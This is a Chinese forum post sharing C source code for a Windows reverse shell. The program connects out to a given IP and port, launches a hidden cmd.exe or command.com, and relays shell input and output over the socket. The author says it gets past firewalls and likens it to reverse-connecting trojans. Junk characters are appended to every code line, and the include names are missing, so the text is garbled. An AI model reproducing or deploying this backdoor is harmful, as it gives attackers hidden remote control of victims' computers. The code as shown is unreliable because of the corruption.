社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5587阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x6e+7"#~  
IG|\:Xz  
/* ============================== ]o*$h$?s  
Rebound port in Windows NT )4ncutb  
By wind,2006/7 O<X )p`,`  
===============================*/ 38wq (  
#include sX'nn   
#include *#h;c1aP  
3 Gd|YRtk  
#pragma comment(lib,"wsock32.lib") (\& 62B1  
Vp7b4n<  
void OutputShell(); Fu##'#  
SOCKET sClient; -u~eZ?(!Ye  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /qXzOd  
xA-jvu9@  
void main(int argc,char **argv) 0;cuX@A/a?  
{ bNs[O22  
WSADATA stWsaData; ke6n/ h5`  
int nRet; g;G5 r&T  
SOCKADDR_IN stSaiClient,stSaiServer; 6b#~;  
s<VJ`Ur  
if(argc != 3) LyP`{_"CM  
{ a}yR p  
printf("Useage:\n\rRebound DestIP DestPort\n"); VDn:SGj5  
return; )7AM3%z1?  
} Efr3x{ j  
q+%!<]7X  
WSAStartup(MAKEWORD(2,2),&stWsaData); UkfA}b^@v  
b1)\Zi  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v, 0<9!'v  
7d9Z/J@>  
stSaiClient.sin_family = AF_INET; (hsZ  
stSaiClient.sin_port = htons(0); ]]y[t|6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PbN3;c3  
!NA`g7'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6t$N78U  
{ uO"8aD`W  
printf("Bind Socket Failed!\n"); e~ BJvZ}Q  
return;  mn`5pha  
} U8[Qw}T P  
G?ZC 9w]rA  
stSaiServer.sin_family = AF_INET; mATH*[Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5rN7':(H!%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gh+f1)\FA"  
r?$ &Z^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) acae=c|X  
{ }.t^D|  
printf("Connect Error!"); JWWInuH  
return; {*fUJmao"  
} 5M.Red.L  
OutputShell(); DaDUK?  
} O! (85rp/  
JZw^ W{  
void OutputShell() Gh iHA9.  
{ nX 8B;*p6b  
char szBuff[1024]; g]4y AV<2  
SECURITY_ATTRIBUTES stSecurityAttributes; M:(&n@e  
OSVERSIONINFO stOsversionInfo; )f[C[Rd  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +C5#$5];  
STARTUPINFO stStartupInfo; XHNkQe  
char *szShell; _.-#E$6s#q  
PROCESS_INFORMATION stProcessInformation; k.Gl4 x  
unsigned long lBytesRead; oX{@'B  
9 tAE#A  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B!iFmkCy  
FE}s#n_Pd  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kyu2)L2u  
stSecurityAttributes.lpSecurityDescriptor = 0; !mae^A1  
stSecurityAttributes.bInheritHandle = TRUE; B,MQ.|s[  
P eHW[\)  
 +Lhe,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PJ;.31u  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6kR -rA  
Rv,Mu3\~#c  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1q`k}KMy  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xy vND  
stStartupInfo.wShowWindow = SW_HIDE; j@CKO cn2  
stStartupInfo.hStdInput = hReadPipe; G g(NGT  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yZ|+VXO  
R` 44'y|  
GetVersionEx(&stOsversionInfo); OQ,}/  
W[fT R?n  
switch(stOsversionInfo.dwPlatformId) ZIe+  
{ <OIUyZS  
case 1: }1,'rm T  
szShell = "command.com"; l-cW;b~  
break; !YY 6o V  
default: {dBB{.hX  
szShell = "cmd.exe"; ^8Z@^M&O"  
break; ]2PQ X4t 0  
} eX@ v7i,}  
"&Gw1.p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A`IHP{aB  
\*Ts)EW  
send(sClient,szMsg,77,0);  M$F{N  
while(1) L7<+LA)s0  
{ e|JIrOnc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e) ]RA?bF  
if(lBytesRead) D/cg7  
{ 2+o!o  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^glX1 )  
send(sClient,szBuff,lBytesRead,0); {N "*olx  
} 7MoR9,(  
else z>7=k`x`:  
{ }'v{dK  
lBytesRead=recv(sClient,szBuff,1024,0); %uj[`  
if(lBytesRead<=0) break; .(JE-upJ"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hRa\1Jt>a  
} *^uGvJXF  
} :Jm!=U%'Z  
3Fgz)*Gu]  
return; )U]:9)   
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八